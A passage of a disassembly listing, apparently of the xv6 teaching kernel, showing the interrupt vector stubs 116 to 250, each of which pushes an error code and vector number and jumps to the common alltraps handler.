6a 00 push $0x0 pushl $116 8010602d: 6a 74 push $0x74 jmp alltraps 8010602f: e9 13 f7 ff ff jmp 80105747 <alltraps> 80106034 <vector117>: .globl vector117 vector117: pushl $0 80106034: 6a 00 push $0x0 pushl $117 80106036: 6a 75 push $0x75 jmp alltraps 80106038: e9 0a f7 ff ff jmp 80105747 <alltraps> 8010603d <vector118>: .globl vector118 vector118: pushl $0 8010603d: 6a 00 push $0x0 pushl $118 8010603f: 6a 76 push $0x76 jmp alltraps 80106041: e9 01 f7 ff ff jmp 80105747 <alltraps> 80106046 <vector119>: .globl vector119 vector119: pushl $0 80106046: 6a 00 push $0x0 pushl $119 80106048: 6a 77 push $0x77 jmp alltraps 8010604a: e9 f8 f6 ff ff jmp 80105747 <alltraps> 8010604f <vector120>: .globl vector120 vector120: pushl $0 8010604f: 6a 00 push $0x0 pushl $120 80106051: 6a 78 push $0x78 jmp alltraps 80106053: e9 ef f6 ff ff jmp 80105747 <alltraps> 80106058 <vector121>: .globl vector121 vector121: pushl $0 80106058: 6a 00 push $0x0 pushl $121 8010605a: 6a 79 push $0x79 jmp alltraps 8010605c: e9 e6 f6 ff ff jmp 80105747 <alltraps> 80106061 <vector122>: .globl vector122 vector122: pushl $0 80106061: 6a 00 push $0x0 pushl $122 80106063: 6a 7a push $0x7a jmp alltraps 80106065: e9 dd f6 ff ff jmp 80105747 <alltraps> 8010606a <vector123>: .globl vector123 vector123: pushl $0 8010606a: 6a 00 push $0x0 pushl $123 8010606c: 6a 7b push $0x7b jmp alltraps 8010606e: e9 d4 f6 ff ff jmp 80105747 <alltraps> 80106073 <vector124>: .globl vector124 vector124: pushl $0 80106073: 6a 00 push $0x0 pushl $124 80106075: 6a 7c push $0x7c jmp alltraps 80106077: e9 cb f6 ff ff jmp 80105747 <alltraps> 8010607c <vector125>: .globl vector125 vector125: pushl $0 8010607c: 6a 00 push $0x0 pushl $125 8010607e: 6a 7d push $0x7d jmp alltraps 80106080: e9 c2 f6 ff ff jmp 80105747 <alltraps> 80106085 <vector126>: .globl vector126 vector126: pushl $0 80106085: 6a 00 push $0x0 pushl $126 80106087: 6a 7e push $0x7e jmp alltraps 80106089: e9 b9 f6 ff ff jmp 80105747 <alltraps> 8010608e <vector127>: .globl vector127 vector127: pushl $0 8010608e: 6a 00 push $0x0 pushl $127 80106090: 6a 7f push $0x7f jmp alltraps 80106092: e9 b0 f6 ff ff jmp 80105747 <alltraps> 80106097 <vector128>: .globl vector128 vector128: pushl $0 80106097: 6a 00 push $0x0 pushl $128 80106099: 68 80 00 00 00 push $0x80 jmp alltraps 8010609e: e9 a4 f6 ff ff jmp 80105747 <alltraps> 801060a3 <vector129>: .globl vector129 vector129: pushl $0 801060a3: 6a 00 push $0x0 pushl $129 801060a5: 68 81 00 00 00 push $0x81 jmp alltraps 801060aa: e9 98 f6 ff ff jmp 80105747 <alltraps> 801060af <vector130>: .globl vector130 vector130: pushl $0 801060af: 6a 00 push $0x0 pushl $130 801060b1: 68 82 00 00 00 push $0x82 jmp alltraps 801060b6: e9 8c f6 ff ff jmp 80105747 <alltraps> 801060bb <vector131>: .globl vector131 vector131: pushl $0 801060bb: 6a 00 push $0x0 pushl $131 801060bd: 68 83 00 00 00 push $0x83 jmp alltraps 801060c2: e9 80 f6 ff ff jmp 80105747 <alltraps> 801060c7 <vector132>: .globl vector132 vector132: pushl $0 801060c7: 6a 00 push $0x0 pushl $132 801060c9: 68 84 00 00 00 push $0x84 jmp alltraps 801060ce: e9 74 f6 ff ff jmp 80105747 <alltraps> 801060d3 <vector133>: .globl vector133 vector133: pushl $0 801060d3: 6a 00 push $0x0 pushl $133 801060d5: 68 85 00 00 00 push $0x85 jmp alltraps 801060da: e9 68 f6 ff ff jmp 80105747 <alltraps> 801060df <vector134>: .globl vector134 vector134: pushl $0 801060df: 6a 00 push $0x0 pushl $134 801060e1: 68 86 00 00 00 push $0x86 jmp alltraps 801060e6: e9 5c f6 ff ff jmp 80105747 <alltraps> 801060eb <vector135>: .globl vector135 vector135: pushl $0 801060eb: 6a 00 push $0x0 pushl $135 801060ed: 68 87 00 00 00 push $0x87 jmp alltraps 801060f2: e9 50 f6 ff ff jmp 80105747 <alltraps> 801060f7 <vector136>: .globl vector136 vector136: pushl $0 801060f7: 6a 00 push $0x0 pushl $136 801060f9: 68 88 00 00 00 push $0x88 jmp alltraps 801060fe: e9 44 f6 ff ff jmp 80105747 <alltraps> 80106103 <vector137>: .globl vector137 vector137: pushl $0 80106103: 6a 00 push $0x0 pushl $137 80106105: 68 89 00 00 00 push $0x89 jmp alltraps 8010610a: e9 38 f6 ff ff jmp 80105747 <alltraps> 8010610f <vector138>: .globl vector138 vector138: pushl $0 8010610f: 6a 00 push $0x0 pushl $138 80106111: 68 8a 00 00 00 push $0x8a jmp alltraps 80106116: e9 2c f6 ff ff jmp 80105747 <alltraps> 8010611b <vector139>: .globl vector139 vector139: pushl $0 8010611b: 6a 00 push $0x0 pushl $139 8010611d: 68 8b 00 00 00 push $0x8b jmp alltraps 80106122: e9 20 f6 ff ff jmp 80105747 <alltraps> 80106127 <vector140>: .globl vector140 vector140: pushl $0 80106127: 6a 00 push $0x0 pushl $140 80106129: 68 8c 00 00 00 push $0x8c jmp alltraps 8010612e: e9 14 f6 ff ff jmp 80105747 <alltraps> 80106133 <vector141>: .globl vector141 vector141: pushl $0 80106133: 6a 00 push $0x0 pushl $141 80106135: 68 8d 00 00 00 push $0x8d jmp alltraps 8010613a: e9 08 f6 ff ff jmp 80105747 <alltraps> 8010613f <vector142>: .globl vector142 vector142: pushl $0 8010613f: 6a 00 push $0x0 pushl $142 80106141: 68 8e 00 00 00 push $0x8e jmp alltraps 80106146: e9 fc f5 ff ff jmp 80105747 <alltraps> 8010614b <vector143>: .globl vector143 vector143: pushl $0 8010614b: 6a 00 push $0x0 pushl $143 8010614d: 68 8f 00 00 00 push $0x8f jmp alltraps 80106152: e9 f0 f5 ff ff jmp 80105747 <alltraps> 80106157 <vector144>: .globl vector144 vector144: pushl $0 80106157: 6a 00 push $0x0 pushl $144 80106159: 68 90 00 00 00 push $0x90 jmp alltraps 8010615e: e9 e4 f5 ff ff jmp 80105747 <alltraps> 80106163 <vector145>: .globl vector145 vector145: pushl $0 80106163: 6a 00 push $0x0 pushl $145 80106165: 68 91 00 00 00 push $0x91 jmp alltraps 8010616a: e9 d8 f5 ff ff jmp 80105747 <alltraps> 8010616f <vector146>: .globl vector146 vector146: pushl $0 8010616f: 6a 00 push $0x0 pushl $146 80106171: 68 92 00 00 00 push $0x92 jmp alltraps 80106176: e9 cc f5 ff ff jmp 80105747 <alltraps> 8010617b <vector147>: .globl vector147 vector147: pushl $0 8010617b: 6a 00 push $0x0 pushl $147 8010617d: 68 93 00 00 00 push $0x93 jmp alltraps 80106182: e9 c0 f5 ff ff jmp 80105747 <alltraps> 80106187 <vector148>: .globl vector148 vector148: pushl $0 80106187: 6a 00 push $0x0 pushl $148 80106189: 68 94 00 00 00 push $0x94 jmp alltraps 8010618e: e9 b4 f5 ff ff jmp 80105747 <alltraps> 80106193 <vector149>: .globl vector149 vector149: pushl $0 80106193: 6a 00 push $0x0 pushl $149 80106195: 68 95 00 00 00 push $0x95 jmp alltraps 8010619a: e9 a8 f5 ff ff jmp 80105747 <alltraps> 8010619f <vector150>: .globl vector150 vector150: pushl $0 8010619f: 6a 00 push $0x0 pushl $150 801061a1: 68 96 00 00 00 push $0x96 jmp alltraps 801061a6: e9 9c f5 ff ff jmp 80105747 <alltraps> 801061ab <vector151>: .globl vector151 vector151: pushl $0 801061ab: 6a 00 push $0x0 pushl $151 801061ad: 68 97 00 00 00 push $0x97 jmp alltraps 801061b2: e9 90 f5 ff ff jmp 80105747 <alltraps> 801061b7 <vector152>: .globl vector152 vector152: pushl $0 801061b7: 6a 00 push $0x0 pushl $152 801061b9: 68 98 00 00 00 push $0x98 jmp alltraps 801061be: e9 84 f5 ff ff jmp 80105747 <alltraps> 801061c3 <vector153>: .globl vector153 vector153: pushl $0 801061c3: 6a 00 push $0x0 pushl $153 801061c5: 68 99 00 00 00 push $0x99 jmp alltraps 801061ca: e9 78 f5 ff ff jmp 80105747 <alltraps> 801061cf <vector154>: .globl vector154 vector154: pushl $0 801061cf: 6a 00 push $0x0 pushl $154 801061d1: 68 9a 00 00 00 push $0x9a jmp alltraps 801061d6: e9 6c f5 ff ff jmp 80105747 <alltraps> 801061db <vector155>: .globl vector155 vector155: pushl $0 801061db: 6a 00 push $0x0 pushl $155 801061dd: 68 9b 00 00 00 push $0x9b jmp alltraps 801061e2: e9 60 f5 ff ff jmp 80105747 <alltraps> 801061e7 <vector156>: .globl vector156 vector156: pushl $0 801061e7: 6a 00 push $0x0 pushl $156 801061e9: 68 9c 00 00 00 push $0x9c jmp alltraps 801061ee: e9 54 f5 ff ff jmp 80105747 <alltraps> 801061f3 <vector157>: .globl vector157 vector157: pushl $0 801061f3: 6a 00 push $0x0 pushl $157 801061f5: 68 9d 00 00 00 push $0x9d jmp alltraps 801061fa: e9 48 f5 ff ff jmp 80105747 <alltraps> 801061ff <vector158>: .globl vector158 vector158: pushl $0 801061ff: 6a 00 push $0x0 pushl $158 80106201: 68 9e 00 00 00 push $0x9e jmp alltraps 80106206: e9 3c f5 ff ff jmp 80105747 <alltraps> 8010620b <vector159>: .globl vector159 vector159: pushl $0 8010620b: 6a 00 push $0x0 pushl $159 8010620d: 68 9f 00 00 00 push $0x9f jmp alltraps 80106212: e9 30 f5 ff ff jmp 80105747 <alltraps> 80106217 <vector160>: .globl vector160 vector160: pushl $0 80106217: 6a 00 push $0x0 pushl $160 80106219: 68 a0 00 00 00 push $0xa0 jmp alltraps 8010621e: e9 24 f5 ff ff jmp 80105747 <alltraps> 80106223 <vector161>: .globl vector161 vector161: pushl $0 80106223: 6a 00 push $0x0 pushl $161 80106225: 68 a1 00 00 00 push $0xa1 jmp alltraps 8010622a: e9 18 f5 ff ff jmp 80105747 <alltraps> 8010622f <vector162>: .globl vector162 vector162: pushl $0 8010622f: 6a 00 push $0x0 pushl $162 80106231: 68 a2 00 00 00 push $0xa2 jmp alltraps 80106236: e9 0c f5 ff ff jmp 80105747 <alltraps> 8010623b <vector163>: .globl vector163 vector163: pushl $0 8010623b: 6a 00 push $0x0 pushl $163 8010623d: 68 a3 00 00 00 push $0xa3 jmp alltraps 80106242: e9 00 f5 ff ff jmp 80105747 <alltraps> 80106247 <vector164>: .globl vector164 vector164: pushl $0 80106247: 6a 00 push $0x0 pushl $164 80106249: 68 a4 00 00 00 push $0xa4 jmp alltraps 8010624e: e9 f4 f4 ff ff jmp 80105747 <alltraps> 80106253 <vector165>: .globl vector165 vector165: pushl $0 80106253: 6a 00 push $0x0 pushl $165 80106255: 68 a5 00 00 00 push $0xa5 jmp alltraps 8010625a: e9 e8 f4 ff ff jmp 80105747 <alltraps> 8010625f <vector166>: .globl vector166 vector166: pushl $0 8010625f: 6a 00 push $0x0 pushl $166 80106261: 68 a6 00 00 00 push $0xa6 jmp alltraps 80106266: e9 dc f4 ff ff jmp 80105747 <alltraps> 8010626b <vector167>: .globl vector167 vector167: pushl $0 8010626b: 6a 00 push $0x0 pushl $167 8010626d: 68 a7 00 00 00 push $0xa7 jmp alltraps 80106272: e9 d0 f4 ff ff jmp 80105747 <alltraps> 80106277 <vector168>: .globl vector168 vector168: pushl $0 80106277: 6a 00 push $0x0 pushl $168 80106279: 68 a8 00 00 00 push $0xa8 jmp alltraps 8010627e: e9 c4 f4 ff ff jmp 80105747 <alltraps> 80106283 <vector169>: .globl vector169 vector169: pushl $0 80106283: 6a 00 push $0x0 pushl $169 80106285: 68 a9 00 00 00 push $0xa9 jmp alltraps 8010628a: e9 b8 f4 ff ff jmp 80105747 <alltraps> 8010628f <vector170>: .globl vector170 vector170: pushl $0 8010628f: 6a 00 push $0x0 pushl $170 80106291: 68 aa 00 00 00 push $0xaa jmp alltraps 80106296: e9 ac f4 ff ff jmp 80105747 <alltraps> 8010629b <vector171>: .globl vector171 vector171: pushl $0 8010629b: 6a 00 push $0x0 pushl $171 8010629d: 68 ab 00 00 00 push $0xab jmp alltraps 801062a2: e9 a0 f4 ff ff jmp 80105747 <alltraps> 801062a7 <vector172>: .globl vector172 vector172: pushl $0 801062a7: 6a 00 push $0x0 pushl $172 801062a9: 68 ac 00 00 00 push $0xac jmp alltraps 801062ae: e9 94 f4 ff ff jmp 80105747 <alltraps> 801062b3 <vector173>: .globl vector173 vector173: pushl $0 801062b3: 6a 00 push $0x0 pushl $173 801062b5: 68 ad 00 00 00 push $0xad jmp alltraps 801062ba: e9 88 f4 ff ff jmp 80105747 <alltraps> 801062bf <vector174>: .globl vector174 vector174: pushl $0 801062bf: 6a 00 push $0x0 pushl $174 801062c1: 68 ae 00 00 00 push $0xae jmp alltraps 801062c6: e9 7c f4 ff ff jmp 80105747 <alltraps> 801062cb <vector175>: .globl vector175 vector175: pushl $0 801062cb: 6a 00 push $0x0 pushl $175 801062cd: 68 af 00 00 00 push $0xaf jmp alltraps 801062d2: e9 70 f4 ff ff jmp 80105747 <alltraps> 801062d7 <vector176>: .globl vector176 vector176: pushl $0 801062d7: 6a 00 push $0x0 pushl $176 801062d9: 68 b0 00 00 00 push $0xb0 jmp alltraps 801062de: e9 64 f4 ff ff jmp 80105747 <alltraps> 801062e3 <vector177>: .globl vector177 vector177: pushl $0 801062e3: 6a 00 push $0x0 pushl $177 801062e5: 68 b1 00 00 00 push $0xb1 jmp alltraps 801062ea: e9 58 f4 ff ff jmp 80105747 <alltraps> 801062ef <vector178>: .globl vector178 vector178: pushl $0 801062ef: 6a 00 push $0x0 pushl $178 801062f1: 68 b2 00 00 00 push $0xb2 jmp alltraps 801062f6: e9 4c f4 ff ff jmp 80105747 <alltraps> 801062fb <vector179>: .globl vector179 vector179: pushl $0 801062fb: 6a 00 push $0x0 pushl $179 801062fd: 68 b3 00 00 00 push $0xb3 jmp alltraps 80106302: e9 40 f4 ff ff jmp 80105747 <alltraps> 80106307 <vector180>: .globl vector180 vector180: pushl $0 80106307: 6a 00 push $0x0 pushl $180 80106309: 68 b4 00 00 00 push $0xb4 jmp alltraps 8010630e: e9 34 f4 ff ff jmp 80105747 <alltraps> 80106313 <vector181>: .globl vector181 vector181: pushl $0 80106313: 6a 00 push $0x0 pushl $181 80106315: 68 b5 00 00 00 push $0xb5 jmp alltraps 8010631a: e9 28 f4 ff ff jmp 80105747 <alltraps> 8010631f <vector182>: .globl vector182 vector182: pushl $0 8010631f: 6a 00 push $0x0 pushl $182 80106321: 68 b6 00 00 00 push $0xb6 jmp alltraps 80106326: e9 1c f4 ff ff jmp 80105747 <alltraps> 8010632b <vector183>: .globl vector183 vector183: pushl $0 8010632b: 6a 00 push $0x0 pushl $183 8010632d: 68 b7 00 00 00 push $0xb7 jmp alltraps 80106332: e9 10 f4 ff ff jmp 80105747 <alltraps> 80106337 <vector184>: .globl vector184 vector184: pushl $0 80106337: 6a 00 push $0x0 pushl $184 80106339: 68 b8 00 00 00 push $0xb8 jmp alltraps 8010633e: e9 04 f4 ff ff jmp 80105747 <alltraps> 80106343 <vector185>: .globl vector185 vector185: pushl $0 80106343: 6a 00 push $0x0 pushl $185 80106345: 68 b9 00 00 00 push $0xb9 jmp alltraps 8010634a: e9 f8 f3 ff ff jmp 80105747 <alltraps> 8010634f <vector186>: .globl vector186 vector186: pushl $0 8010634f: 6a 00 push $0x0 pushl $186 80106351: 68 ba 00 00 00 push $0xba jmp alltraps 80106356: e9 ec f3 ff ff jmp 80105747 <alltraps> 8010635b <vector187>: .globl vector187 vector187: pushl $0 8010635b: 6a 00 push $0x0 pushl $187 8010635d: 68 bb 00 00 00 push $0xbb jmp alltraps 80106362: e9 e0 f3 ff ff jmp 80105747 <alltraps> 80106367 <vector188>: .globl vector188 vector188: pushl $0 80106367: 6a 00 push $0x0 pushl $188 80106369: 68 bc 00 00 00 push $0xbc jmp alltraps 8010636e: e9 d4 f3 ff ff jmp 80105747 <alltraps> 80106373 <vector189>: .globl vector189 vector189: pushl $0 80106373: 6a 00 push $0x0 pushl $189 80106375: 68 bd 00 00 00 push $0xbd jmp alltraps 8010637a: e9 c8 f3 ff ff jmp 80105747 <alltraps> 8010637f <vector190>: .globl vector190 vector190: pushl $0 8010637f: 6a 00 push $0x0 pushl $190 80106381: 68 be 00 00 00 push $0xbe jmp alltraps 80106386: e9 bc f3 ff ff jmp 80105747 <alltraps> 8010638b <vector191>: .globl vector191 vector191: pushl $0 8010638b: 6a 00 push $0x0 pushl $191 8010638d: 68 bf 00 00 00 push $0xbf jmp alltraps 80106392: e9 b0 f3 ff ff jmp 80105747 <alltraps> 80106397 <vector192>: .globl vector192 vector192: pushl $0 80106397: 6a 00 push $0x0 pushl $192 80106399: 68 c0 00 00 00 push $0xc0 jmp alltraps 8010639e: e9 a4 f3 ff ff jmp 80105747 <alltraps> 801063a3 <vector193>: .globl vector193 vector193: pushl $0 801063a3: 6a 00 push $0x0 pushl $193 801063a5: 68 c1 00 00 00 push $0xc1 jmp alltraps 801063aa: e9 98 f3 ff ff jmp 80105747 <alltraps> 801063af <vector194>: .globl vector194 vector194: pushl $0 801063af: 6a 00 push $0x0 pushl $194 801063b1: 68 c2 00 00 00 push $0xc2 jmp alltraps 801063b6: e9 8c f3 ff ff jmp 80105747 <alltraps> 801063bb <vector195>: .globl vector195 vector195: pushl $0 801063bb: 6a 00 push $0x0 pushl $195 801063bd: 68 c3 00 00 00 push $0xc3 jmp alltraps 801063c2: e9 80 f3 ff ff jmp 80105747 <alltraps> 801063c7 <vector196>: .globl vector196 vector196: pushl $0 801063c7: 6a 00 push $0x0 pushl $196 801063c9: 68 c4 00 00 00 push $0xc4 jmp alltraps 801063ce: e9 74 f3 ff ff jmp 80105747 <alltraps> 801063d3 <vector197>: .globl vector197 vector197: pushl $0 801063d3: 6a 00 push $0x0 pushl $197 801063d5: 68 c5 00 00 00 push $0xc5 jmp alltraps 801063da: e9 68 f3 ff ff jmp 80105747 <alltraps> 801063df <vector198>: .globl vector198 vector198: pushl $0 801063df: 6a 00 push $0x0 pushl $198 801063e1: 68 c6 00 00 00 push $0xc6 jmp alltraps 801063e6: e9 5c f3 ff ff jmp 80105747 <alltraps> 801063eb <vector199>: .globl vector199 vector199: pushl $0 801063eb: 6a 00 push $0x0 pushl $199 801063ed: 68 c7 00 00 00 push $0xc7 jmp alltraps 801063f2: e9 50 f3 ff ff jmp 80105747 <alltraps> 801063f7 <vector200>: .globl vector200 vector200: pushl $0 801063f7: 6a 00 push $0x0 pushl $200 801063f9: 68 c8 00 00 00 push $0xc8 jmp alltraps 801063fe: e9 44 f3 ff ff jmp 80105747 <alltraps> 80106403 <vector201>: .globl vector201 vector201: pushl $0 80106403: 6a 00 push $0x0 pushl $201 80106405: 68 c9 00 00 00 push $0xc9 jmp alltraps 8010640a: e9 38 f3 ff ff jmp 80105747 <alltraps> 8010640f <vector202>: .globl vector202 vector202: pushl $0 8010640f: 6a 00 push $0x0 pushl $202 80106411: 68 ca 00 00 00 push $0xca jmp alltraps 80106416: e9 2c f3 ff ff jmp 80105747 <alltraps> 8010641b <vector203>: .globl vector203 vector203: pushl $0 8010641b: 6a 00 push $0x0 pushl $203 8010641d: 68 cb 00 00 00 push $0xcb jmp alltraps 80106422: e9 20 f3 ff ff jmp 80105747 <alltraps> 80106427 <vector204>: .globl vector204 vector204: pushl $0 80106427: 6a 00 push $0x0 pushl $204 80106429: 68 cc 00 00 00 push $0xcc jmp alltraps 8010642e: e9 14 f3 ff ff jmp 80105747 <alltraps> 80106433 <vector205>: .globl vector205 vector205: pushl $0 80106433: 6a 00 push $0x0 pushl $205 80106435: 68 cd 00 00 00 push $0xcd jmp alltraps 8010643a: e9 08 f3 ff ff jmp 80105747 <alltraps> 8010643f <vector206>: .globl vector206 vector206: pushl $0 8010643f: 6a 00 push $0x0 pushl $206 80106441: 68 ce 00 00 00 push $0xce jmp alltraps 80106446: e9 fc f2 ff ff jmp 80105747 <alltraps> 8010644b <vector207>: .globl vector207 vector207: pushl $0 8010644b: 6a 00 push $0x0 pushl $207 8010644d: 68 cf 00 00 00 push $0xcf jmp alltraps 80106452: e9 f0 f2 ff ff jmp 80105747 <alltraps> 80106457 <vector208>: .globl vector208 vector208: pushl $0 80106457: 6a 00 push $0x0 pushl $208 80106459: 68 d0 00 00 00 push $0xd0 jmp alltraps 8010645e: e9 e4 f2 ff ff jmp 80105747 <alltraps> 80106463 <vector209>: .globl vector209 vector209: pushl $0 80106463: 6a 00 push $0x0 pushl $209 80106465: 68 d1 00 00 00 push $0xd1 jmp alltraps 8010646a: e9 d8 f2 ff ff jmp 80105747 <alltraps> 8010646f <vector210>: .globl vector210 vector210: pushl $0 8010646f: 6a 00 push $0x0 pushl $210 80106471: 68 d2 00 00 00 push $0xd2 jmp alltraps 80106476: e9 cc f2 ff ff jmp 80105747 <alltraps> 8010647b <vector211>: .globl vector211 vector211: pushl $0 8010647b: 6a 00 push $0x0 pushl $211 8010647d: 68 d3 00 00 00 push $0xd3 jmp alltraps 80106482: e9 c0 f2 ff ff jmp 80105747 <alltraps> 80106487 <vector212>: .globl vector212 vector212: pushl $0 80106487: 6a 00 push $0x0 pushl $212 80106489: 68 d4 00 00 00 push $0xd4 jmp alltraps 8010648e: e9 b4 f2 ff ff jmp 80105747 <alltraps> 80106493 <vector213>: .globl vector213 vector213: pushl $0 80106493: 6a 00 push $0x0 pushl $213 80106495: 68 d5 00 00 00 push $0xd5 jmp alltraps 8010649a: e9 a8 f2 ff ff jmp 80105747 <alltraps> 8010649f <vector214>: .globl vector214 vector214: pushl $0 8010649f: 6a 00 push $0x0 pushl $214 801064a1: 68 d6 00 00 00 push $0xd6 jmp alltraps 801064a6: e9 9c f2 ff ff jmp 80105747 <alltraps> 801064ab <vector215>: .globl vector215 vector215: pushl $0 801064ab: 6a 00 push $0x0 pushl $215 801064ad: 68 d7 00 00 00 push $0xd7 jmp alltraps 801064b2: e9 90 f2 ff ff jmp 80105747 <alltraps> 801064b7 <vector216>: .globl vector216 vector216: pushl $0 801064b7: 6a 00 push $0x0 pushl $216 801064b9: 68 d8 00 00 00 push $0xd8 jmp alltraps 801064be: e9 84 f2 ff ff jmp 80105747 <alltraps> 801064c3 <vector217>: .globl vector217 vector217: pushl $0 801064c3: 6a 00 push $0x0 pushl $217 801064c5: 68 d9 00 00 00 push $0xd9 jmp alltraps 801064ca: e9 78 f2 ff ff jmp 80105747 <alltraps> 801064cf <vector218>: .globl vector218 vector218: pushl $0 801064cf: 6a 00 push $0x0 pushl $218 801064d1: 68 da 00 00 00 push $0xda jmp alltraps 801064d6: e9 6c f2 ff ff jmp 80105747 <alltraps> 801064db <vector219>: .globl vector219 vector219: pushl $0 801064db: 6a 00 push $0x0 pushl $219 801064dd: 68 db 00 00 00 push $0xdb jmp alltraps 801064e2: e9 60 f2 ff ff jmp 80105747 <alltraps> 801064e7 <vector220>: .globl vector220 vector220: pushl $0 801064e7: 6a 00 push $0x0 pushl $220 801064e9: 68 dc 00 00 00 push $0xdc jmp alltraps 801064ee: e9 54 f2 ff ff jmp 80105747 <alltraps> 801064f3 <vector221>: .globl vector221 vector221: pushl $0 801064f3: 6a 00 push $0x0 pushl $221 801064f5: 68 dd 00 00 00 push $0xdd jmp alltraps 801064fa: e9 48 f2 ff ff jmp 80105747 <alltraps> 801064ff <vector222>: .globl vector222 vector222: pushl $0 801064ff: 6a 00 push $0x0 pushl $222 80106501: 68 de 00 00 00 push $0xde jmp alltraps 80106506: e9 3c f2 ff ff jmp 80105747 <alltraps> 8010650b <vector223>: .globl vector223 vector223: pushl $0 8010650b: 6a 00 push $0x0 pushl $223 8010650d: 68 df 00 00 00 push $0xdf jmp alltraps 80106512: e9 30 f2 ff ff jmp 80105747 <alltraps> 80106517 <vector224>: .globl vector224 vector224: pushl $0 80106517: 6a 00 push $0x0 pushl $224 80106519: 68 e0 00 00 00 push $0xe0 jmp alltraps 8010651e: e9 24 f2 ff ff jmp 80105747 <alltraps> 80106523 <vector225>: .globl vector225 vector225: pushl $0 80106523: 6a 00 push $0x0 pushl $225 80106525: 68 e1 00 00 00 push $0xe1 jmp alltraps 8010652a: e9 18 f2 ff ff jmp 80105747 <alltraps> 8010652f <vector226>: .globl vector226 vector226: pushl $0 8010652f: 6a 00 push $0x0 pushl $226 80106531: 68 e2 00 00 00 push $0xe2 jmp alltraps 80106536: e9 0c f2 ff ff jmp 80105747 <alltraps> 8010653b <vector227>: .globl vector227 vector227: pushl $0 8010653b: 6a 00 push $0x0 pushl $227 8010653d: 68 e3 00 00 00 push $0xe3 jmp alltraps 80106542: e9 00 f2 ff ff jmp 80105747 <alltraps> 80106547 <vector228>: .globl vector228 vector228: pushl $0 80106547: 6a 00 push $0x0 pushl $228 80106549: 68 e4 00 00 00 push $0xe4 jmp alltraps 8010654e: e9 f4 f1 ff ff jmp 80105747 <alltraps> 80106553 <vector229>: .globl vector229 vector229: pushl $0 80106553: 6a 00 push $0x0 pushl $229 80106555: 68 e5 00 00 00 push $0xe5 jmp alltraps 8010655a: e9 e8 f1 ff ff jmp 80105747 <alltraps> 8010655f <vector230>: .globl vector230 vector230: pushl $0 8010655f: 6a 00 push $0x0 pushl $230 80106561: 68 e6 00 00 00 push $0xe6 jmp alltraps 80106566: e9 dc f1 ff ff jmp 80105747 <alltraps> 8010656b <vector231>: .globl vector231 vector231: pushl $0 8010656b: 6a 00 push $0x0 pushl $231 8010656d: 68 e7 00 00 00 push $0xe7 jmp alltraps 80106572: e9 d0 f1 ff ff jmp 80105747 <alltraps> 80106577 <vector232>: .globl vector232 vector232: pushl $0 80106577: 6a 00 push $0x0 pushl $232 80106579: 68 e8 00 00 00 push $0xe8 jmp alltraps 8010657e: e9 c4 f1 ff ff jmp 80105747 <alltraps> 80106583 <vector233>: .globl vector233 vector233: pushl $0 80106583: 6a 00 push $0x0 pushl $233 80106585: 68 e9 00 00 00 push $0xe9 jmp alltraps 8010658a: e9 b8 f1 ff ff jmp 80105747 <alltraps> 8010658f <vector234>: .globl vector234 vector234: pushl $0 8010658f: 6a 00 push $0x0 pushl $234 80106591: 68 ea 00 00 00 push $0xea jmp alltraps 80106596: e9 ac f1 ff ff jmp 80105747 <alltraps> 8010659b <vector235>: .globl vector235 vector235: pushl $0 8010659b: 6a 00 push $0x0 pushl $235 8010659d: 68 eb 00 00 00 push $0xeb jmp alltraps 801065a2: e9 a0 f1 ff ff jmp 80105747 <alltraps> 801065a7 <vector236>: .globl vector236 vector236: pushl $0 801065a7: 6a 00 push $0x0 pushl $236 801065a9: 68 ec 00 00 00 push $0xec jmp alltraps 801065ae: e9 94 f1 ff ff jmp 80105747 <alltraps> 801065b3 <vector237>: .globl vector237 vector237: pushl $0 801065b3: 6a 00 push $0x0 pushl $237 801065b5: 68 ed 00 00 00 push $0xed jmp alltraps 801065ba: e9 88 f1 ff ff jmp 80105747 <alltraps> 801065bf <vector238>: .globl vector238 vector238: pushl $0 801065bf: 6a 00 push $0x0 pushl $238 801065c1: 68 ee 00 00 00 push $0xee jmp alltraps 801065c6: e9 7c f1 ff ff jmp 80105747 <alltraps> 801065cb <vector239>: .globl vector239 vector239: pushl $0 801065cb: 6a 00 push $0x0 pushl $239 801065cd: 68 ef 00 00 00 push $0xef jmp alltraps 801065d2: e9 70 f1 ff ff jmp 80105747 <alltraps> 801065d7 <vector240>: .globl vector240 vector240: pushl $0 801065d7: 6a 00 push $0x0 pushl $240 801065d9: 68 f0 00 00 00 push $0xf0 jmp alltraps 801065de: e9 64 f1 ff ff jmp 80105747 <alltraps> 801065e3 <vector241>: .globl vector241 vector241: pushl $0 801065e3: 6a 00 push $0x0 pushl $241 801065e5: 68 f1 00 00 00 push $0xf1 jmp alltraps 801065ea: e9 58 f1 ff ff jmp 80105747 <alltraps> 801065ef <vector242>: .globl vector242 vector242: pushl $0 801065ef: 6a 00 push $0x0 pushl $242 801065f1: 68 f2 00 00 00 push $0xf2 jmp alltraps 801065f6: e9 4c f1 ff ff jmp 80105747 <alltraps> 801065fb <vector243>: .globl vector243 vector243: pushl $0 801065fb: 6a 00 push $0x0 pushl $243 801065fd: 68 f3 00 00 00 push $0xf3 jmp alltraps 80106602: e9 40 f1 ff ff jmp 80105747 <alltraps> 80106607 <vector244>: .globl vector244 vector244: pushl $0 80106607: 6a 00 push $0x0 pushl $244 80106609: 68 f4 00 00 00 push $0xf4 jmp alltraps 8010660e: e9 34 f1 ff ff jmp 80105747 <alltraps> 80106613 <vector245>: .globl vector245 vector245: pushl $0 80106613: 6a 00 push $0x0 pushl $245 80106615: 68 f5 00 00 00 push $0xf5 jmp alltraps 8010661a: e9 28 f1 ff ff jmp 80105747 <alltraps> 8010661f <vector246>: .globl vector246 vector246: pushl $0 8010661f: 6a 00 push $0x0 pushl $246 80106621: 68 f6 00 00 00 push $0xf6 jmp alltraps 80106626: e9 1c f1 ff ff jmp 80105747 <alltraps> 8010662b <vector247>: .globl vector247 vector247: pushl $0 8010662b: 6a 00 push $0x0 pushl $247 8010662d: 68 f7 00 00 00 push $0xf7 jmp alltraps 80106632: e9 10 f1 ff ff jmp 80105747 <alltraps> 80106637 <vector248>: .globl vector248 vector248: pushl $0 80106637: 6a 00 push $0x0 pushl $248 80106639: 68 f8 00 00 00 push $0xf8 jmp alltraps 8010663e: e9 04 f1 ff ff jmp 80105747 <alltraps> 80106643 <vector249>: .globl vector249 vector249: pushl $0 80106643: 6a 00 push $0x0 pushl $249 80106645: 68 f9 00 00 00 push $0xf9 jmp alltraps 8010664a: e9 f8 f0 ff ff jmp 80105747 <alltraps> 8010664f <vector250>: .globl vector250 vector250: pushl $0 8010664f: 6a 00 push $0x0 pushl $250 